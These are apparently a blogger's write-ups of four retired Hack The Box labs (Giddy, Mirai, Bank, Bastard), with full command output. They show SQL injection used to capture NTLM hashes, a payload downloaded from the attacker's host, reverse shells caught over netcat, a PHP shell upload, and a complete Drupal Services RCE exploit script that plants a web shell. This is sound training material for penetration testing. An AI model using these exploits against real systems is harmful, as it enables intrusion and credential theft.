HTB – Giddy

Today we are going to solve another CTF challenge “Giddy”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Expert

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Giddy is 10.10.10.104

As always we will start with nmap to scan for open ports and services :

root@kali:~/htb/giddy# nmap -sV -sT -sC 10.10.10.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-27 12:24 CET
Nmap scan report for 10.10.10.104
Host is up (0.029s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
| tls-alpn: 
| h2
|_ http/1.1
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-02-23T22:16:52
|_Not valid after: 2019-08-25T22:16:52
|_ssl-date: 2019-02-27T11:25:03+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.30 seconds

On http (port 80) there’s only this picture :

Also the same picture on https (port 443)

Let’s run gobuster

root@kali:~/htb/giddy# gobuster -u http://10.10.10.104/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -to 250s

=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.104/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 4m10s
=====================================================
2019/02/27 12:38:33 Starting gobuster
=====================================================
/remote (Status: 302)
/mvc (Status: 301)
/Remote (Status: 302)
=====================================================
2019/02/27 12:46:53 Finished
=====================================================

Let’s take a look at /remote :

It redirects us to this page titled as Windows PowerShell Web Access , we don’t have any credentials so we can ignore this for now and check /mvc

And we get this ASP.NET application


SQLI and getting User

After some regular enumeration we will find that when we click on a product name we get something like this :

The url has a parameter called ProductSubCategoryId , and if we try a single quote ' :

We get an error saying “Unclosed quotation mark after the character string” so this parameter is sql injectable , let’s try something like 1; UPDATE Product SET Name= ''

And we see that it dumped the products, we can run responder and use xpdirtreeto make it try to connect to us , you can read about xpdirtree here

To do this let’s run responder first responder -I tun0

Then let’s use xpdirtree : 1; EXEC MASTER.sys.xp_dirtree '\\10.10.xx.xx\fakeshare'

What is this doing is simply running a fake smb server with responder that steals ntlm hashes , then by using xpdirtree we make the server try to connect to our fake smb server. Let’s check responder now :

root@kali:~/htb/giddy# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.20]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : 10.10.10.104
[SMBv2] NTLMv2-SSP Username : GIDDY\Stacy
[SMBv2] NTLMv2-SSP Hash : Stacy::GIDDY:72fe267ac292121b:6744A5C663ED890D026D026BECE2B31B:0101000000000000C0653150DE09D201C94925EC226E4117000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000000000000003000006685072246E39F2F27E3BF3B79A87F7D3EF09383F6DE7E145476F2934DBB8F430A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003000000000000000000000000000
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy
[*] Skipping previously captured hash for GIDDY\Stacy

We captured ntlm hash for a user called Stacy , Let’s crack the hash with john

root@kali:~/htb/giddy# john --wordlist=/usr/share/wordlists/rockyou.txt stacy.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
1g 0:00:00:08 DONE (2019-02-27 12:14) 0.1177g/s 316692p/s 316692c/s 316692C/s xNnWo6272k7x
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And the password is xNnWo6272k7x , let’s use the PowerShell Web Access

We get his web interface for powershell :

We can get the user flag now :

PS C:\Users\Stacy\Documents> 
cd ../Desktop
PS C:\Users\Stacy\Desktop> 
type user.txt
10C*****0AD

unifivideo local privilege escalation

If we return to Documents again we will find a file called unifivideo

UniFi Video is a powerful and flexible, integrated IP video management surveillance system designed to work with Ubiquiti’s UniFi Video Camera product line. UniFi Video has an intuitive, configurable, and feature‑packed user interface with advanced features such as motion detection, auto‑discovery, user-level security, storage management, reporting, and mobile device support.

A quick google search and we will find that an old version of unifivideo had a local privilege escalation vulnerability , check it here

What’s happening is , Upon the start of the service “Ubiquiti UniFi Video” it tries to execute a file called taskkill.exe in C:\ProgramData\unifi-video\ but that file doesn’t exist by default , if we have write permissions to that directory we can place our payload there as taskkill.exe then restart the service. And because the service runs with privileged permissions , it will be executed as administrator.

PS C:\ProgramData\unifi-video>
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services | where Name -Match 'uni'
Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services

Name Property
---- --------
UniFiVideoService Type : 16
Start : 2
ErrorControl : 1
ImagePath : C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService
DisplayName : Ubiquiti UniFi Video
DependOnService : {Tcpip, Afd}
ObjectName : LocalSystem
Description : Ubiquiti UniFi Video Service
PS C:\ProgramData\unifi-video> 

.\taskkill.exe

Program 'taskkill.exe' failed to run: This program is blocked by group policy. For more information, contact your system administrator.

    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException 

    + FullyQualifiedErrorId : NativeCommandFailed
PS C:\ProgramData\unifi-video> Get-AppLockerPolicy -Local

Version RuleCollections

------- ---------------

1 {Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.FilePublisherRule, Microsoft.Security.Applica...

Let’s first create a payload with C# :

c:\PENTEST>c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:taskkill.exe taskkill.cs
Microsoft (R) Visual C# Compiler version 4.7.3056.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240

taskkill.cs(64,34): warning CS0168: The variable 'err' is declared but never used

Then we will run a simple http server with python to host the payload

c:\PENTEST\python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.104 - - [27/Feb/2019 17:45:50] "GET /taskkill.exe HTTP/1.1" 200 -

After that we will download the file , since we are on powershell we can do this :

Invoke-WebRequest -o taskkill.exe http://10.10.xx.xx/taskkill.exe

Then we will stop the service :

Stop-Service "Ubiquiti UniFi Video" 

Start it again :

Start-Service "Ubiquiti UniFi Video" 


.
c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.104: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.104] 49782: NO_DATA
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\ProgramData\unifi-video>
whoami
C:\ProgramData\unifi-video>whoami
nt authority\system
C:\ProgramData\unifi-video>cd c:\Users\administrator\desktop
c:\Users\Administrator\Desktop>dir
Volume in drive C is Windows 2016
Volume Serial Number is 0828-8CAE
Directory of c:\Users\Administrator\Desktop
06/17/2018 09:53 AM <DIR> .
06/17/2018 09:53 AM <DIR> ..
06/17/2018 09:53 AM 32 root.txt
06/16/2018 08:54 PM 842 Ubiquiti UniFi Video.lnk
2 File(s) 874 bytes
2 Dir(s) 42,888,380,416 bytes free
type root.txt
c:\Users\Administrator\Desktop>type root.txt
CF5*****1B1

HTB – Mirai

Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.

Level: Easy

Task: find user.txt and root.txt file in the victim’s machine.

Lab IP: 10.10.10.48

Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.

root@kali:~/htb/mirai# nmap -sC -sV -oA nmap 10.10.10.48
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-23 20:16 CET
Nmap scan report for 10.10.10.48
Host is up (0.026s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp open  http    lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.68 seconds

Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/

root@kali:~/htb/mirai# dirb http://10.10.10.48

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Sat Feb 23 20:16:56 2019
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.48/ ----
==> DIRECTORY: http://10.10.10.48/admin/

When I link on login tab I saw following web page. The Pi-hole and the Logo gives us a pretty huge hint that the target machine is a Raspberry Pi, and Raspberry Pi comes with a default ssh

So we tried default ssh credentials on the Raspberry Pi.

Username:     pi
Password:     raspberry
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\jacco> ssh pi@10.10.10.48
pi@10.10.10.48's password: raspberry

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Feb 21 00:00:59 2019 from 10.10.14.5

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.


SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
pi@raspberrypi:~ $ cd Desktop
pi@raspberrypi:~/Desktop $ ls
Plex user.txt
pi@raspberrypi:~/Desktop $ cat user.txt
ff8*****38dpi

Then I moved for root access using the previous same password and again I get root access successfully.

pi@raspberrypi:~/Desktop $ sudo bash
root@raspberrypi:/home/pi/Desktop# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:/home/pi/Desktop#

Let’s check if it is mounted by following command df

pi@raspberrypi:~ $ df -h
Filesystem      Size  Used Avail Use% Mounted on
aufs            8.5G  2.8G  5.3G  35% /
tmpfs           101M  8.8M   92M   9% /run
/dev/sda1       1.3G  1.3G     0 100% /lib/live/mount/persistence/sda1
/dev/loop0      1.3G  1.3G     0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs           251M     0  251M   0% /lib/live/mount/overlay
/dev/sda2       8.5G  2.8G  5.3G  35% /lib/live/mount/persistence/sda2
devtmpfs         10M     0   10M   0% /dev
tmpfs           251M  8.0K  251M   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           251M     0  251M   0% /sys/fs/cgroup
tmpfs           251M  4.0K  251M   1% /tmp
/dev/sdb        8.7M   93K  7.9M   2% /media/usbstick
tmpfs            51M     0   51M   0% /run/user/999
tmpfs            51M     0   51M   0% /run/user/1000
pi@raspberrypi:~ $

From given below image we can /media/usbstick.

Then execute given below command for further steps

root@raspberrypi:/home/pi/Desktop# cd /media/usbstick
root@raspberrypi:/media/usbstick# ls -la
total 18
drwxr-xr-x 3 root root 1024 Aug 14 2017 .
drwxr-xr-x 3 root root 4096 Aug 14 2017 ..
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Move back to root directory and type following command.

pi@raspberrypi:~ $ sudo strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3*****20b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James

Author: Jacco Straathof

HTB – Bank

Today we are going to solve another CTF challenge “Bank” which is categories as retired lab presented by Hack the Box for making online penetration practices. Solving challenges in this lab is not that much tough until you don’t have the correct knowledge of Penetration testing. Let start and learn how to breach a network then exploit it for retrieving desired information.

Level: Intermediate

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online accessible therefore they have static IP. The IP of Bank is 10.10.10.29 so let’s initiate with nmap port enumeration.

root@kali:~/htb/bank# nmap -sC -sV 10.10.10.29
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 19:52 CET
Nmap scan report for 10.10.10.29
Host is up (0.031s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.80 seconds

Now the last option was to add target IP inside /etc/hosts file since port 53 was open for the domain and as it is a challenge of hack the box thus I edit bank.htb as a domain name.

Then I explore the domain name: bank.htb through the web browser and found following login page as shown below.

Then I preferred to use dirbuster tool and chose directory list 2-3 medium.txt file for directory brute force attack on http://bank.htb for PHP file extension.

Here I found so many directories but I was interested in the support.php file. So when I try to explore http://bank.htb/support.php I was unable to access this web page as I was always redirected to login page due to HTTP response 302.

Let’s try to see if we can analyze the support.php page contents before the redirection happens.

Start up Burp and enable the server intercept response as shown below.

Let’s browse to the login.php page again. Now that we can control the redirection, we can see that the support.php page has a complete html page served before any redirection happens.

R

Now remove highligted 302 Found, and click forward ( if we see the 302 found a second time , we remove it in the same way.

Opening the loaded html for support.php in the browser presents the page below.

Before we start exploiting the upload feature, looking into the source code of the page reveals an important configuration,

which states that .htb files will be executed as php. This means that we have to upload php files in a .htb wrapper.

let’s edit the file to point back to the attacking machine IP and port.

pentest monkey php-reverse-shell.php

After making the required changes to php backdoor, the file is saved as puckieshell.htb and uploaded as shown below.

Before we browse the uploaded file, let’s start a netcat listener on port 443
Browsing the uploaded file spawns back the shell, as shown below.

c:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.9] from bank.htb [10.10.10.29] 38230
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 i686 i686 GNU/Linux
15:46:27 up 3 days, 15:32, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cd /home/chris
$ ls
user.txt
$ cat user.txt
37c*****1c3

The shell is spawned back as www-data, but we are allowed to visit the directory of user “chris,”

To perform privilege escalation, one of the first things I always check is to find out which binaries which have SUID bit set.
<< find / perm -u=s -type f 2>/dev/null >>

We can see that there is binary under /var/htb/bin/emergency, which is a SUID bit.

$ cd /var/htb/bin
$ ls -l
total 112
-rwsr-xr-x 1 root root 112204 Jun 14 2017 emergency
$ file emergency
emergency: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1fff1896e5f8db5be4db7b7ebab6ee176129b399, stripped
$ ./emergency
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
cd /root
ls
root.txt
cat root.txt
d5b*****a68e

Intended Method

Many people overlooked it due to support.phpbeing visible almost immediately when scanning. The /balance-transfer/ directory took some time to find but is the intended method.

If you look through the files, they are all encrypted at first glance. If you take a closer look, there is one file which is much smaller than the rest:

Bank Balance Transfer File

If you open up the file, we see some nice, unencrypted credentials that we can use to log into the control panel.

--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

From here we can head over to the support page and upload our malicious PHP file, with the extension .htb

Author : Jacco Straathof

HTB – Bastard

Today we are going to solve another CTF challenge “Bastard”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.Level: IntermediateTask: To find user.txt and root.txt fileNote: Since these labs are online available therefore they have a static IP. The IP of Bastard is 10.10.10.9Let’s start off with our basic nmap command to find out the open ports and services.

Web:- Drupal Service is runningDrupal

and by checking /CHANGELOG.txt which we found in the nmap scan of robots.txt, we can see the version installed of drupal is 7.54version
For which there is a public exploit available Drupal-Services-Module-rce

root@webmail:~/Downloads# cat puckie.php 
#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'puckie.php',
'data' => '<?php echo(system($_GET"cmd"])); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;

if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
{
$this->url = $url;
}

function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);

if($error)
{
e("cURL: $error");
}

return json_decode($output);
}
}

# Cache

function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}

function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
print("$message\n");
}

function e($message)
{
x($message);
exit(1);
}

function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
root@webmail:~/Downloads#

Now before you run the exploit make sure the main drupal login page is open in your browser or it will show you the error Failed to login with fake password or if you still see this error even after opening the login page in browser then revert the machine and try again.

root@webmail:~/Downloads# php puck.php 
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9/puckie.php
root@webmail:~/Downloads# cat session.json 
"session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
"session_id": "2g9Xa0yhMXY3-qmamOQKxlcxqeSNR0-qeGDhjEc2ZAs",
"token": "pHCtfwKWFyz16XllBp6cVN2O3BN5Wt7tmEuMWIt9iNU"
root@webmail:~/Downloads# 
root@webmail:~/Downloads# cat user.json 
    "uid": "1",
    "name": "admin",
    "mail": "drupal@hackthebox.gr",
    "theme": "",
    "created": "1489920428",
    "access": "1550602246",
    "login": 1550602520,
    "status": "1",
    "timezone": "Europe\/Athens",
    "language": "",
    "picture": null,
    "init": "drupal@hackthebox.gr",
    "data": false,
    "roles": {
        "2": "authenticated user",
        "3": "administrator"
    },
    "rdf_mapping": {
        "rdftype": [
            "sioc:UserAccount"
        ],
        "name": {
            "predicates": [
                "foaf:name"
            ]
        },
        "homepage": {
            "predicates": [
                "foaf:page"
            ],
            "type": "rel"
        }
    },
    "pass": "$S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE"
 root@webmail:~/Downloads# 

If you get any error like PHP Fatal error: Uncaught Error: Call to undefine function curl_init() possibilities are you don’t have php-curl installed in your machine so to solve this you just need to download it and restart the apache server and then run the exploit again.

root@kali:~/Desktop# apt-get install php-curl
root@kali:~/Desktop# systemctl restart apache2

Now after the exploit completed sucessfully it will give use a link where the file has been written and created a new user in drupal and 2 new files (session.json) and (user.json) in your current directory and if you look inside the session.json file you will see (session_ID, name and token) and we will edit and use this to gain admin access on the web.
Now we need to edit this file session.json
The session file is in format:-
-Session_name:abc
-Session_id:def
-Token:xyz
Now we need to edit this like this
abc=def;token=xyz
It will look something like this

root@webmail:~/Downloads# cat session.json 
{
"session_name": "SESSd873f26fc11f2b7e6e4aa0f6fce59913",
"session_id": "-Mq24JFeq9OhVd5iuIRXY2AHZdHlq0MNplg7uJ9eH48",
"token": "lIM6DzLqQtpKQCXGC8XuGDyo_erIA0NbV2DIdbcdYIM"
}

This is the cookie which we will use to get admin access, Now before we proceed make sure to open 3 links :

  • The main drupal login page :- http://10.10.10.9/
  • The admin pannel which will show 403 access denied for now :- http://10.10.10.9/admin
  • And the link which the php exploit gave us :- http://10.10.10.9/dixuSOspsOUU.php

Now capture the request of /admin page in burp and replace the cookie with our cookies.

We have to modify the cookie in this format.

cookie-1cookie-2
And forward the request and we will get the admin accessAdmin
Another simple way is to use cookie manager and get admin access easily, But there is no fun without learning a new thing.
